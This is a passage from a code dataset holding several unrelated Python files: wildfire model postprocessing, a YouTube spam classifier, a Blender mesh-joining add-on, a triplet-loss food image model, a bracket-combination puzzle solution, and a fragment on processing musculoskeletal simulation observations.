_lag_fire( self ):\n\t\tdf = self.df\n\t\tfirevars = [ 'FireScar','BurnSeverity' ]\n\t\tothervars = [ 'Age','Veg','BasalArea' ]\n\t\treplicates, years = df.index.levels\n\t\tfire = pd.concat( [ df[ v ].drop( years.min(), level=1 ) for v in firevars ], axis=1 )\n\t\tother = pd.concat( [ df[ v ].drop( years.max(), level=1 ) for v in othervars ], axis=1 )\n\t\tshifted = pd.concat( [fire.reset_index(drop=True), other.reset_index(drop=True)], axis=1 )\n\t\t# above the clean_df_wide is the straight-up and the shifted is the lagged\n\t\t# to get it into a format that is more useful for us lets do this:\n\t\tts_list = [ TimeStep(i) for i in shifted.to_dict( orient='records' ) ]\n\t\treturn ts_list\n\tdef _nolag_fire( self ):\n\t\tdf = self.df\n\t\tts_list = [ TimeStep(i) for i in df.to_dict( orient='records' ) ]\n\t\treturn ts_list\n\tdef _to_timestep( self ):\n\t\t'''\n\t\tconvert the files_df generated with `self._prep_filelist` to grouped\n\t\talfresco_postprocessing.TimeStep objects. These may be `lag`ged depending\n\t\ton lagfire boolean argument in `__init__`. \n\t\t'''\n\t\tif self._lagfire == True:\n\t\t\tts_list = self._lag_fire()\n\t\telif self._lagfire == False:\n\t\t\tts_list = self._nolag_fire()\n\t\telse:\n\t\t\tBaseException( 'lagfire must be boolean.' )\n\t\treturn ts_list\n\n\nclass ObservedFileLister( FileLister ):\n\tdef __init__( self, *args, **kwargs ):\n\t\tsuper( ObservedFileLister, self ).__init__( *args, **kwargs )\n\t\n\tdef _prep_filelist( self ):\n\t\t'''\n\t\tconvert listed files from `maps_path` to pandas.DataFrame object\n\t\twith the columns:\n\t\t\t* object: contains the result of alfresco_postprocessing.Filename \n\t\t\t\t\ton each filename\n\t\t\t* year: year parsed from filename\n\t\t\t* variable: variable name parsed from filename\n\t\t\n\t\tReturns:\n\t\t--------\n\t\tpandas.DataFrame containing the Filename object and \n\t\trelated metadata attributes.\n\t\t'''\n\t\tfiles = [ ObservedFilename(i) for i in self.files ]\n\t\tdf = pd.DataFrame([{'object':i,'year':i.year,'variable':i.variable} for i in files ])\n\t\t# sort by year\n\t\tdf = df.sort_values(['year'], ascending=[1])\n\t\treturn df\n\tdef _to_df( self ):\n\t\t# convert to objects for easier parsing\n\t\tfiles = [ ObservedFilename( i ) for i in self.files ]\n\t\t# create an unpacked DataFrame with the file objects\n\t\tdf = pd.DataFrame([{'object':i,'year':int(i.year), 'variable':i.variable} for i in files ])\n\t\t# sort it\n\t\tdf = df.sort_values(['variable','year'], ascending=[0,1])\n\t\t# make it into a dataframe wide-format\n\t\tdf_wide = pd.DataFrame( { name:dat['object'].tolist() for name, dat in df.groupby( 'variable' ) } )\n\t\t# add in a MultiIndex that is useable\n\t\tindex = df_wide.iloc[:, 0].apply( lambda x: int(x.year) )\n\t\tdf_wide.index = index\n\t\tvariables = df_wide.columns\n\t\treturn df_wide\n\tdef _to_timestep( self ):\n\t\t'''\n\t\tconvert the files_df generated with `self._prep_filelist` to grouped\n\t\talfresco_postprocessing.TimeStep objects. These may be `lag`ged depending\n\t\ton lagfire boolean argument in `__init__`. \n\t\t'''\n\t\tif self._lagfire == True:\n\t\t\tts_list = self._lag_fire()\n\t\telif self._lagfire == False:\n\t\t\tts_list = self._nolag_fire()\n\t\telse:\n\t\t\tBaseException( 'lagfire must be boolean.' )\n\t\treturn ts_list\n\nclass Filename( object ):\n\t'''\n\tsplit filename into variable, year, replicate\n\t'''\n\tdef __init__( self, fn ):\n\t\tself.fn = fn\n\t\tself.variable = None\n\t\tself.replicate = None\n\t\tself.year = None\n\t\tself._split()\n\n\tdef _split( self, splitter='_' ):\n\t\tbase, fn = os.path.split( self.fn )\n\t\tname, ext = os.path.splitext( fn )\n\t\tself.variable, self.replicate, self.year = name.split( splitter )\n\nclass ObservedFilename( object ):\n\t'''\n\tsplit filename into variable, year\n\t'''\n\tdef __init__( self, fn ):\n\t\tself.fn = fn\n\t\tself.variable = None\n\t\tself.year = None\n\t\tself._split()\n\n\tdef _split( self, splitter='_' ):\n\t\tbase, fn = os.path.split( self.fn )\n\t\tname, ext = os.path.splitext( fn )\n\t\tself.variable = 'FireScar'\n\t\tself.year = name.split( splitter )[ -1 ]\n\n# PYTHON2 VERSION\n# class TimeStep( object ):\n# \tdef __init__( self, d ):\n# \t\t'''\n# \t\tconvert dict of Filename objects in format:\n# \t\t{ variable : object }\n# \t\tto a object that is more easily query-able\n# \t\tand contains more meta information about its inputs.\n# \t\t'''\n# \t\tself.__dict__ = d\n# \t\tnames = d.keys()\n# \t\t# self.year = d[ names[0] ].year\n# \t\tself.replicate = d[ names[0] ].replicate\n\n\n# PYTHON3 VERSION\nclass TimeStep( object ):\n\tdef __init__( self, d ):\n\t\t'''\n\t\tconvert dict of Filename objects in format:\n\t\t{ variable : object }\n\t\tto a object that is more easily query-able\n\t\tand contains more meta information about its inputs.\n\t\t'''\n\t\tself.__dict__ = d.copy()\n\t\tnames = list( d.keys() )\n\t\t# self.year = d[ names[0] ].year\n\t\tself.replicate = d[ names[0] ].replicate\n\n\n# This class is currently not implemented and developing rapidly\nclass ObservedPostProcess( object ):\n\t'''\n\trun post-processing\n\t'''\n\tdef __init__( self, maps_path, *args, **kwargs ):\n\t\tself.maps_path = maps_path\n\t\tself._list_files()\n\t\t\n\tdef _list_files( self ):\n\t\t'''\n\t\tnew list files that can deal with the year sub-direcories \n\t\ttest change we are making to improve performance.\n\t\t'''\n\t\timport os, glob\n\t\tself.file_list = glob.glob( os.path.join( self.maps_path, '*.tif' ) )\n\nclass TinyDBInsert:\n\t'''\n\tclass for use in asyncronous parallel map\n\tof insertion of JSON record to TinyDB \n\t'''\n\tdef __init__( self, db ):\n\t\t'''\n\t\ttake as input a path to an unused \n\t\toutput json location that you want to \n\t\tinstantiate and populate.\n\t\t'''\n\t\timport multiprocessing\n\t\tself.db = db\n\t\tself.lock = multiprocessing.Lock()\n\t\tself.count = 0\n\n\tdef insert( self, record ):\n\t\tself.count += 1\n\t\tself.lock.acquire()\n\t\tself.db.insert( record )\n\t\tself.lock.release()\n\ndef get_metric_json( db, metric_name ):\n\t'''\n\ttake an ALFRESCO Post Processing output TinyDB database\n\tand along with the name of a metric return a nested JSON\n\tstructure (as dict) with 3 levels replicates:years:metric_values\n\n\tArguments:\n\t----------\n\n\tdb = [tinydb.TinyDB] open tinydb object from an ALFRESCO Post Processing run\n\tmetric_name = [str] name of metric to extract and output to csv.\n\t\tsupported types: 'veg_counts','avg_fire_size','number_of_fires',\n\t\t\t\t\t\t'all_fire_sizes','total_area_burned'\n\n\tReturns:\n\t--------\n\tdict object with structure replicates:years:metric_values.\n\n\tNotes:\n\t------\n\tThis can be read into a PANDAS Panel object with pd.Panel( obj_name )\n\tand used in this data structure for groupby / apply / etc\n\n\t'''\n\timport numpy as np\n\t# get all the records from the TinyDB storage solution\n\trecords = db.all()\n\treplicates = np.unique( [ rec['replicate'] for rec in records ] )#.astype( np.int )\n\t# replicates.sort()\n\t# replicates = replicates.astype( str )\n\n\t# generate a nested dict (JSON) for a single metric\n\tmetric_select = { replicate:{ record[ 'fire_year' ] : record[ metric_name ] \\\n\t\t\tfor record in records if record[ 'replicate' ] == replicate } \\\n\t\t\tfor replicate in replicates }\n\treturn metric_select\n\ndef metric_to_csvs_historical( db, metric_name, output_path, suffix=None ):\n\t'''\n\toutput Historical Observed Fire Derived Summary Statistics to CSV files\n\tfor ease-of-use with spreadsheet softwares.\n\n\tArguments:\n\t----------\n\n\tdb = [tinydb.TinyDB] open tinydb object from an ALFRESCO Post Processing run\n\tmetric_name = [str] name of metric to extract and output to csv.\n\t\t\tsupported types: 'avg_fire_size','number_of_fires',\n\t\t\t\t\t\t\t'all_fire_sizes','total_area_burned'\n\toutput_path = [str] path to the folder where you want the output csvs to be \n\t\t\t\t\t\t\twritten to\n\tsuffix = [str] underscore joined elements to identify output file groups\n\n\tReturns:\n\t--------\n\t[str] output_path \n\n\t'''\n\timport pandas as pd\n\timport numpy as np\n\timport os\n\n\tmetric_select = get_metric_json( db, metric_name )\n\treplicate = metric_select.keys()[0] # only one replicate (observed) for obs \n\tyears = metric_select[ replicate ].keys()\n\tstartyear = str( min([ int(y) for y in years ]) )\n\tendyear = str( max([ int(y) for y in years ]) )\n\tdomains = metric_select[ replicate ][ years[0] ].keys()\n\tpanel = pd.Panel( metric_select )\n\n\tfor domain in domains:\n\t\tif suffix == None:\n\t\t\toutput_filename = os.path.join( output_path, '_'.join([ 'firehistory', metric_name.replace('_',''), domain,\\\n\t\t\t\t\t\t\t\t\t\t\t\tstartyear, endyear ]) + '.csv' )\n\t\telse:\n\t\t\toutput_filename = os.path.join( output_path, '_'.join([ 'firehistory', metric_name.replace('_',''), domain,\\\n\t\t\t\t\t\t\t\t\t\t\t\tsuffix, startyear, endyear ]) + '.csv' )\n\n\t\tpanel_select = panel[ :, domain, : ]\n\t\tpanel_select = panel_select.fillna( 0 ) # change NaNs to Zero\n\t\tpanel_select.to_csv( output_filename, sep=',' )\n\treturn 1\n\ndef metric_to_csvs( db, metric_name, output_path, suffix=None ):\n\t'''\n\toutput ALFRESCO Derived Summary Statistics to CSV files\n\tfor ease-of-use with spreadsheet softwares.\n\n\tArguments:\n\t----------\n\n\tdb = [tinydb.TinyDB] open tinydb object from an ALFRESCO Post Processing run\n\tmetric_name = [str] name of metric to extract and output to csv.\n\t\t\tsupported types: 'veg_counts','avg_fire_size','number_of_fires',\n\t\t\t\t\t\t\t'all_fire_sizes','total_area_burned'\n\toutput_path = [str] path to the folder where you want the output csvs to be \n\t\t\t\t\t\t\twritten to\n\tsuffix = [str] underscore joined elements to identify output file groups\n\n\tReturns:\n\t--------\n\t[str] output_path \n\n\t'''\n\timport pandas as pd\n\timport numpy as np\n\timport os\n\t# select the data we need from the TinyDB\n\tmetric_select = get_metric_json( db, metric_name )\n\treplicates = metric_select.keys()\n\tcolumn_order = np.array(replicates).astype( int )\n\tcolumn_order.sort()\n\tcolumn_order = column_order.astype( str )\n\tcolumn_order_names = [ '_'.join(['rep',i]) for i in column_order ]\n\tyears = metric_select[ replicates[0] ].keys()\n\tdomains = metric_select[ replicates[0] ][ years[0] ].keys()\n\n\t# make a panel (replicates, domains, years)\n\tpanel = pd.Panel( metric_select ) \n\tstartyear = min(years)\n\tendyear = max(years)\n\n\tfor domain in domains:\n\t\tif metric_name not in ['veg_counts', 'severity_counts']: # firescar\n\t\t\tif suffix == None:\n\t\t\t\toutput_filename = os.path.join( output_path, '_'.join([ 'alfresco', metric_name.replace('_',''), domain,\\\n\t\t\t\t\t\t\t\t\t\t\t\t\tstartyear, endyear ]) + '.csv' )\n\t\t\telse:\n\t\t\t\toutput_filename = os.path.join( output_path, '_'.join([ 'alfresco', metric_name.replace('_',''), domain,\\\n\t\t\t\t\t\t\t\t\t\t\t\t\tsuffix, startyear, endyear ]) + '.csv' )\n\n\t\t\tpanel_select = panel[ :, domain, : ]\n\t\t\tpanel_select = panel_select[ column_order ]\n\t\t\tpanel_select = panel_select.fillna( 0 ) # change NaNs to Zero\n\t\t\tpanel_select.columns = column_order_names\n\t\t\tpanel_select.to_csv( output_filename, sep=',' )\n\n\t\telif metric_name == 'veg_counts': # veg\n\t\t\tdf = panel[ :, domain, : ]\n\t\t\tvegtypes = sorted( df.ix[0,0].keys() )\n\t\t\tnew_panel = pd.Panel( df.to_dict() )\n\t\t\tfor vegtype in vegtypes:\n\t\t\t\t# subset the data again into vegetation types\n\t\t\t\tif suffix == None:\n\t\t\t\t\toutput_filename = os.path.join( output_path, '_'.join([ 'alfresco', metric_name.replace('_',''),\\\n\t\t\t\t\t\t\t\t\t\t\t\tdomain, vegtype.replace(' ', ''), startyear, endyear ]) + '.csv' )\n\t\t\t\telse:\n\t\t\t\t\toutput_filename = os.path.join( output_path, '_'.join([ 'alfresco', metric_name.replace('_',''),\\\n\t\t\t\t\t\t\t\t\t\t\t\tdomain, vegtype.replace(' ', ''), suffix, startyear, endyear ]) + '.csv' )\n\n\t\t\t\t# reorder the columns to 0-nreps !\n\t\t\t\tveg_df = new_panel[ :, vegtype, : ]\n\t\t\t\tveg_df = veg_df[ column_order ]\n\t\t\t\tveg_df.columns = column_order_names\n\t\t\t\t# deal with NaN's? !\n\t\t\t\tveg_df.fillna( 0 )\n\t\t\t\tveg_df.to_csv( output_filename, sep=',' )\n\n\t\telif metric_name == 'severity_counts':\n\t\t\tburnseverity = { (rec[ 'replicate' ],rec[ 'fire_year' ]):pd.Series(rec[ 'severity_counts' ][ domain ]) for rec in db.all() }\n\t\t\tdf = pd.concat( burnseverity ).astype( int ).unstack().fillna( 0 ).astype( int )\n\t\t\tif suffix == None:\n\t\t\t\toutput_filename = os.path.join( output_path, '_'.join([ 'alfresco', metric_name.replace('_',''), domain,\\\n\t\t\t\t\t\t\t\t\t\t\t\t\tstartyear, endyear ]) + '.csv' )\n\t\t\telse:\n\t\t\t\toutput_filename = os.path.join( output_path, '_'.join([ 'alfresco', metric_name.replace('_',''), domain,\\\n\t\t\t\t\t\t\t\t\t\t\t\t\tsuffix, startyear, endyear ]) + '.csv' )\n\t\t\tdf.to_csv( output_filename, sep=',', index_label=('replicate','year') )\n\n\treturn 1\n\n\n# RUN FOR NOW:\n# maps_path = '/atlas_scratch/apbennett/Calibration/HighCalib/FMO_Calibrated/GISS-E2-R_rcp85_NoFMO/Maps'\n# fl = FileLister( maps_path, lagfire=True )\n\n\n","sub_path":"alfresco_postprocessing/postprocess.py","file_name":"postprocess.py","file_ext":"py","file_size_in_byte":14581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"211992672","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 19 06:57:54 2019\n\n@author: awangga\n\"\"\"\n\n# coding: utf-8\n\n# In[1]: panggil panda dan baca data\n\nimport pandas as pd\nd = pd.read_csv(\"Youtube01-Psy.csv\")\n# In[2]: kelompok spam dan bukan spam\nspam=d.query('CLASS == 1')\nbukanspam=d.query('CLASS == 0')\n\n# In[3]: memangging lib vektorisasi\nfrom sklearn.feature_extraction.text import CountVectorizer\nvectorizer = CountVectorizer()\n\n# In[4]: memilih kolom CONTENT dari data d untuk di vektorisasi\n\ndvec = vectorizer.fit_transform(d['CONTENT'])\n\n# In[5]: melihat isi vektorisasi di dvec\ndvec\n\n# In[6]: melihar isi data ini ga perlu sih\nprint(d['CONTENT'][349])\n#analyze(d['CONTENT'][349])\n\n# In[7]:melihar daftar kata yang di vektorisasi\ndaptarkata=vectorizer.get_feature_names()\n\n\n# In[8]: dikocok bang biar acak ga urut berdasarkan waktu lagi\n\ndshuf = d.sample(frac=1)\n\n# In[9]: bagi dua 300 training 50 testing\nd_train=dshuf[:300]\nd_test=dshuf[300:]\n\n# In[10]: lakukan training dari data training\nd_train_att=vectorizer.fit_transform(d_train['CONTENT'])\nd_train_att\n# In[11]: lakukan ulang pada data testing\nd_test_att=vectorizer.transform(d_test['CONTENT'])\nd_test_att\n# In[12]: pengambilan label spam atau bukan spam\n\nd_train_label=d_train['CLASS']\nd_test_label=d_test['CLASS']\n\n# In[13]: kita coba klasifikasi menggunakan RF dengan 80 tree\nfrom sklearn.ensemble import RandomForestClassifier\nclf=RandomForestClassifier(n_estimators=80)\n\n\n# In[14]: lakukan training RF dari data yang sudah di transform\nclf.fit(d_train_att,d_train_label)\n\n# In[15]: cek score nya\n\nclf.score(d_test_att,d_test_label)\n\n# In[16]: buat terlebih dahulu confusion matrix\nfrom sklearn.metrics import confusion_matrix\npred_labels = clf.predict(d_test_att)\ncm=confusion_matrix(d_test_label, pred_labels)\n\n# In[17]: lakukan cross validation dengan 5 split\nfrom sklearn.model_selection import cross_val_score\nscores = cross_val_score(clf,d_train_att,d_train_label,cv=5)\n\nskorrata2=scores.mean()\nskoresd=scores.std()\n","sub_path":"Chapter03/sendal.py","file_name":"sendal.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"133274600","text":"import bpy\nfrom bpy.props import BoolProperty, EnumProperty\nfrom .. import M3utils as m3\n\n\njoinorconnectchoice = [(\"JOIN\", \"Join\", \"\"),\n (\"CONNECT\", \"Connect\", \"\")]\n\n\nclass QuickJoinCenter(bpy.types.Operator):\n bl_idname = \"machin3.quick_join_center\"\n bl_label = \"MACHIN3: Quick Join (Center)\"\n bl_options = {'REGISTER', 'UNDO'}\n\n backtrace = BoolProperty(name=\"Backtrace Selection\", default=True)\n\n def draw(self, context):\n layout = self.layout\n\n column = layout.column()\n\n column.prop(self, \"backtrace\")\n\n def execute(self, context):\n history = m3.get_selection_history()\n\n if len(history) > 3:\n quick_join(\"CENTER\", history, self.backtrace, \"JOIN\")\n else:\n bpy.ops.mesh.merge(type='CENTER')\n\n return {'FINISHED'}\n\n\nclass QuickJoinLast(bpy.types.Operator):\n bl_idname = \"machin3.quick_join_last\"\n bl_label = \"MACHIN3: Quick Join (Last)\"\n bl_options = {'REGISTER', 'UNDO'}\n\n backtrace = BoolProperty(name=\"Backtrace Selection\", default=True)\n joinorconnect = EnumProperty(name=\"Join or Connect\", items=joinorconnectchoice, default=\"JOIN\")\n\n def draw(self, context):\n layout = self.layout\n\n column = layout.column()\n\n row = column.row()\n row.prop(self, \"joinorconnect\", expand=True)\n\n column.prop(self, \"backtrace\")\n\n def execute(self, context):\n\n history = m3.get_selection_history()\n if len(history) > 3:\n quick_join(\"LAST\", history, self.backtrace, self.joinorconnect)\n else:\n bpy.ops.mesh.merge(type='LAST')\n\n return {'FINISHED'}\n\n\ndef quick_join(string, selection, backtrace, joinorconnect):\n mergeswitched = False\n pivotswitched = False\n aborted = False\n if bpy.context.scene.tool_settings.use_mesh_automerge:\n print(\"automerge is on, turning it off.\")\n bpy.context.scene.tool_settings.use_mesh_automerge = False\n mergeswitched = True\n if bpy.context.space_data.pivot_point != \"MEDIAN_POINT\":\n pivot = bpy.context.space_data.pivot_point\n print('Pivot is \"%s\", changing it to \"MEDIAN_POINT\".' % (pivot))\n bpy.context.space_data.pivot_point = \"MEDIAN_POINT\"\n pivotswitched = True\n\n split = split_selection(selection)\n try:\n path1, path2 = pathify(split)\n except:\n print(m3.red(\"Aborting quick-join.\"))\n aborted = True\n\n if not aborted:\n try:\n join(string, path1, path2, backtrace, joinorconnect)\n except:\n print(m3.red(\"Results will be unpredictable.\"))\n\n if mergeswitched:\n print(\"Automerge has been switched off, turning it back on again.\")\n bpy.context.scene.tool_settings.use_mesh_automerge = True\n if pivotswitched:\n print('Pivot has been changed, setting it back to \"%s\".' % (pivot))\n bpy.context.space_data.pivot_point = pivot\n\n\ndef join(string, vertlist1, vertlist2, backtrace, joinorconnect): # joining by moving/scaling, as vertids would be changing when using the actual merge operator\n bpy.context.scene.tool_settings.use_mesh_automerge = False\n mesh = bpy.context.object.data\n\n # reverse the second path to allow for a backtracing selection\n if backtrace:\n vertlist2.reverse()\n\n for vert in vertlist1:\n vert2 = vertlist2[vertlist1.index(vert)]\n m3.unselect_all(\"MESH\")\n m3.set_mode(\"OBJECT\")\n\n mesh.vertices[vert].select = True\n mesh.vertices[vert2].select = True\n\n if string == \"LAST\":\n print(\"Moving: %d > %d.\" % (vert, vert2))\n if joinorconnect == \"JOIN\":\n mesh.vertices[vert].co = mesh.vertices[vert2].co # JOIN LAST\n m3.set_mode(\"EDIT\")\n if joinorconnect == \"CONNECT\":\n bpy.ops.mesh.vert_connect()\n elif string == \"CENTER\":\n m3.set_mode(\"EDIT\")\n print(\"Moving: %d and %d to median location.\" % (vert, vert2))\n bpy.ops.transform.resize(value=(0, 0, 0), constraint_axis=(False, False, False), constraint_orientation='NORMAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)\n\n m3.unselect_all(\"MESH\")\n if joinorconnect == \"CONNECT\":\n m3.set_mode(\"EDIT\")\n elif joinorconnect == \"JOIN\":\n m3.make_selection(\"VERT\", vertlist1 + vertlist2)\n m3.set_mode(\"EDIT\")\n\n bpy.ops.mesh.remove_doubles()\n\n\ndef pathify(verttuple):\n if verttuple is not None:\n row1, row2 = verttuple\n print(row1)\n print(row2)\n\n p1 = m3.ShortestPath(input=row1)\n p2 = m3.ShortestPath(input=row2)\n if len(p1.path) == len(p2.path):\n print(p1.path)\n print(p2.path)\n return p1.path, p2.path\n else:\n print(m3.red(\"Warning, Vertex paths are not equal in length.\"))\n return p1.path, p2.path\n\n\ndef split_selection(vertselection):\n if len(vertselection) % 2 == 0:\n split = int(len(vertselection) / 2)\n hist1 = vertselection[:split]\n hist2 = vertselection[split:]\n return hist1, hist2\n else:\n print(m3.red(\"Selection is not divisable by 2. Select an equal amount of vertices on both sides.\"))\n","sub_path":"operators/M3_quick_join.py","file_name":"M3_quick_join.py","file_ext":"py","file_size_in_byte":5264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"432625500","text":"import numpy as np\nimport os\nimport csv \nfrom sklearn.model_selection import train_test_split\nimport torchvision\nfrom PIL import Image\nfrom torch.utils.data import Dataset\nfrom torchvision import datasets, transforms\nimport torch\nimport torch.utils.data as datatorch\nimport torch.nn as nn\nfrom sklearn.metrics import f1_score\nimport torch.backends.cudnn as cudnn\nimport time\nimport datetime\n\n\n#load triplets \ntrain_triplets = np.loadtxt('train_triplets.txt', dtype= 'str')\ntest_triplets = np.loadtxt('test_triplets.txt', dtype= 'str')\n\n\n#splitting the train data\ntrain_triplets , val_triplets = train_test_split(train_triplets, test_size = 0.2)\n\n\n#half index of the val_triplets \nhalf_index = np.int64((val_triplets.shape[0]-val_triplets.shape[0]%2)/2)\n\n#prepare val_labels\nval_labels = np.int64(np.ones((val_triplets.shape[0],)))\n\nval_triplets[half_index:, 0], val_triplets[half_index:, 1] = val_triplets[half_index:, 1], val_triplets[half_index:, 0].copy()\nval_labels[half_index:] = np.int64(0)\n\ntrain_dir = 'food'\ntrain_files = os.listdir(train_dir)\ntest_files = os.listdir(train_dir)\nnumber_files = len(test_files)\n\n\nclass ImageTriplesSet(Dataset):\n def __init__(self , file_array, dir, mode='train', transform = None,labels =None):\n self.triple_list = list(map(tuple, file_array))\n self.mode = mode\n self.labels = labels\n self.dir = dir\n self.transform = transform\n \n def __len__(self):\n return len(self.triple_list)\n \n def __getitem__(self,idx):\n img1 = Image.open(os.path.join(self.dir, self.triple_list[idx][0] + '.jpg'))\n img2 = Image.open(os.path.join(self.dir, self.triple_list[idx][1] + '.jpg'))\n img3 = Image.open(os.path.join(self.dir, self.triple_list[idx][2] + '.jpg'))\n \n \n if self.transform is not None:\n img1 = self.transform(img1).numpy()\n img2 = self.transform(img2).numpy()\n img3 = self.transform(img3).numpy()\n if self.labels is None:\n return img1, img2, img3\n else:\n return img1, img2, img3, self.labels[idx]\n \n\ndata_transform = transforms.Compose([\n transforms.Resize(228),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n ])\n\ntrain_dataset = ImageTriplesSet(train_triplets, train_dir, transform = data_transform, labels = None)\nval_dataset = ImageTriplesSet(val_triplets, train_dir, transform= data_transform, labels = None)\ntest_dataset = ImageTriplesSet(test_triplets, train_dir, mode=\"test\" ,transform = data_transform,labels = None)\n\nmodel = torch.hub.load('pytorch/vision', 'vgg16', pretrained=True)\n\nlearning_rate = 0.0001\nbatch_size = 32\nepochs = 4\nlogstep = int(1000 // batch_size)\n\ntrain_loader = datatorch.DataLoader(dataset=train_dataset, shuffle=False, batch_size=batch_size)\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nmodel = model.to(device)\ncriterion = nn.TripletMarginLoss(margin=1.0, p=2)\noptimizer = torch.optim.SGD(model.parameters(),lr=learning_rate,momentum=0.9,weight_decay=1e-5,nesterov=True)\n\ntraining_loss_vec = []\ntraining_accuracy_vec = []\nval_f1_score = []\n\nstart = time.time()\n# loop over epochs\nmodel.train()\nfor e in range(epochs):\n training_loss = 0.\n training_accuracy = 0.\n for idx, (data1, data2, data3) in enumerate(train_loader):\n data1, data2, data3 = data1.cuda(), data2.cuda(), data3.cuda()\n embedded_a, embedded_p, embedded_n = model(data1), model(data2), model(data3)\n loss = criterion(embedded_a, embedded_p, embedded_n)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n training_loss += loss.item()\n if (idx) % logstep == 0: \n training_loss_vec.append(training_loss/logstep)\n print('[%d, %5d] training loss: %.5f' %\n (e + 1, idx + 1, training_loss/logstep))\n training_loss, training_accuracy = 0.,0.\n\nend = time.time()\nprint(str(datetime.timedelta(seconds= end - start)))\n\nval_loader = datatorch.DataLoader(dataset=val_dataset, shuffle = False, batch_size= 1)\nstart = time.time()\nval_labels_pred = []\nmodel.eval()\nfor idx, (data1, data2, data3) in enumerate(val_loader):\n data1, data2, data3 = data1.cuda(), data2.cuda(), data3.cuda()\n embedded_1, embedded_2, embedded_3 = model(data1), model(data2), model(data3)\n if torch.dist(embedded_1,embedded_3,1)>=torch.dist(embedded_1,embedded_2,1):\n val_labels_pred.append(1)\n else:\n val_labels_pred.append(0)\n\nf1 = f1_score(val_labels_pred, val_labels)\nprint(f1)\n\ntest_loader = datatorch.DataLoader(dataset=test_dataset, shuffle = False, batch_size= 1)\nend = time.time()\nprint(str(datetime.timedelta(seconds= end - start)))\n\ntest_triplets_pred = []\nmodel.eval()\nstart = time.time()\nfor idx, (data1, data2, data3) in enumerate(test_loader):\n data1, data2, data3 = data1.cuda(), data2.cuda(), data3.cuda()\n embedded_1, embedded_2, embedded_3 = model(data1), model(data2), model(data3)\n if torch.dist(embedded_1,embedded_3,1)>=torch.dist(embedded_1,embedded_2,1):\n test_triplets_pred.append(str(1))\n else:\n test_triplets_pred.append(str(0))\nend = time.time()\nprint(str(datetime.timedelta(seconds= end - start)))\n\nfile_name = 'submission_Stefano.txt'\nwith open(file_name, 'w') as f:\n for item in test_triplets_pred:\n f.write(item + '\\n')\n","sub_path":"4/main_final.py","file_name":"main_final.py","file_ext":"py","file_size_in_byte":5455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"111650964","text":"import sys\nfrom itertools import combinations\n\ninput_str = sys.stdin.readline().rstrip()\n\nqueue = []\npair = {}\n\nfor i, c in enumerate(input_str):\n if c == \"(\":\n queue.append(i)\n elif c == \")\":\n pair[queue.pop()] = i\n\nresult = []\ncan = list(pair)\nfor i in range(1, len(can) + 1):\n perms = combinations(can, i)\n for perm in perms:\n tmp_str = list(input_str)\n for src in perm:\n tmp_str[src] = \"\"\n tmp_str[pair[src]] = \"\"\n result.append(\"\".join(tmp_str))\n\nfor c in sorted(set(result)):\n print(c)\n\n\n","sub_path":"BOJ/problem2800.py","file_name":"problem2800.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"155517341","text":"def get_observation(self):\n bodies = ['head', 'pelvis', 'torso', 'toes_l', 'toes_r', 'talus_l', 'talus_r']\n\n pelvis_pos = [self.pelvis.getCoordinate(i).getValue(self.osim_model.state) for i in range(3)]\n pelvis_vel = [self.pelvis.getCoordinate(i).getSpeedValue(self.osim_model.state) for i in range(3)]\n\n jnts = ['hip_r','knee_r','ankle_r','hip_l','knee_l','ankle_l']\n joint_angles = [self.osim_model.get_joint(jnts[i]).getCoordinate().getValue(self.osim_model.state) for i in range(6)]\n joint_vel = [self.osim_model.get_joint(jnts[i]).getCoordinate().getSpeedValue(self.osim_model.state) for i in range(6)]\n\n mass_pos = [self.osim_model.model.calcMassCenterPosition(self.osim_model.state)[i] for i in range(2)]\n mass_vel = [self.osim_model.model.calcMassCenterVelocity(self.osim_model.state)[i] for i in range(2)]\n\n body_transforms = [[self.osim_model.get_body(body).getTransformInGround(self.osim_model.state).p()[i] for i in range(2)] for body in bodies]\n\n muscles = [ self.env_desc['muscles'][self.MUSCLES_PSOAS_L], self.env_desc['muscles'][self.MUSCLES_PSOAS_R] ]\n\n # see the next obstacle\n obstacle = self.next_obstacle()\n\n# feet = [opensim.HuntCrossleyForce.safeDownCast(self.osim_model.forceSet.get(j)) for j in range(20,22)]\n self.current_state = pelvis_pos + pelvis_vel + joint_angles + joint_vel + mass_pos + mass_vel + list(flatten(body_transforms)) + muscles + obstacle\n return self.current_state\n\n'''\nabove was copied from 'osim-rl/osim/env/run.py'.\n\nobservation:\n0 pelvis r\n1 x\n2 y\n\n3 pelvis vr\n4 vx\n5 vy\n\n6-11 hip_r .. ankle_l [joint angles]\n\n12-17 hip_r .. ankle_l [joint velocity]\n\n18-19 mass_pos xy\n20-21 mass_vel xy\n\n22-(22+7x2-1=35) bodypart_positions(x,y)\n\n36-37 muscles psoas\n\n38-40 obstacles\n38 x dist\n39 y height\n40 radius\n\nradius of heel and toe ball: 0.05\n\n'''\n\nclass fifo:\n def __init__(self,size):\n self.size = size\n self.buf = [None for i in range(size)]\n self.head = 0\n self.tail = 0\n\n def push(self,obj):\n self.buf[self.tail] = obj\n self.tail+=1\n self.tail%= self.size\n\n def pop(self):\n item = self.buf[self.head]\n self.head+=1\n self.head%= self.size\n return item\n\n def fromhead(self,index):\n return self.buf[(self.head+index)%self.size]\n\n def fromtail(self,index):\n return self.buf[(self.tail-index-1)%self.size]\n\n\n# 41 dim to 48 dim\ndef process_observation(observation):\n o = list(observation) # an array\n\n px = o[1]\n py = o[2]\n\n pvx = o[4]\n pvy = o[5]\n\n o = o + [o[22+i*2+1] for i in range(7)] # a copy of original y, not relative y.\n\n # x and y relative to pelvis\n for i in range(7): # 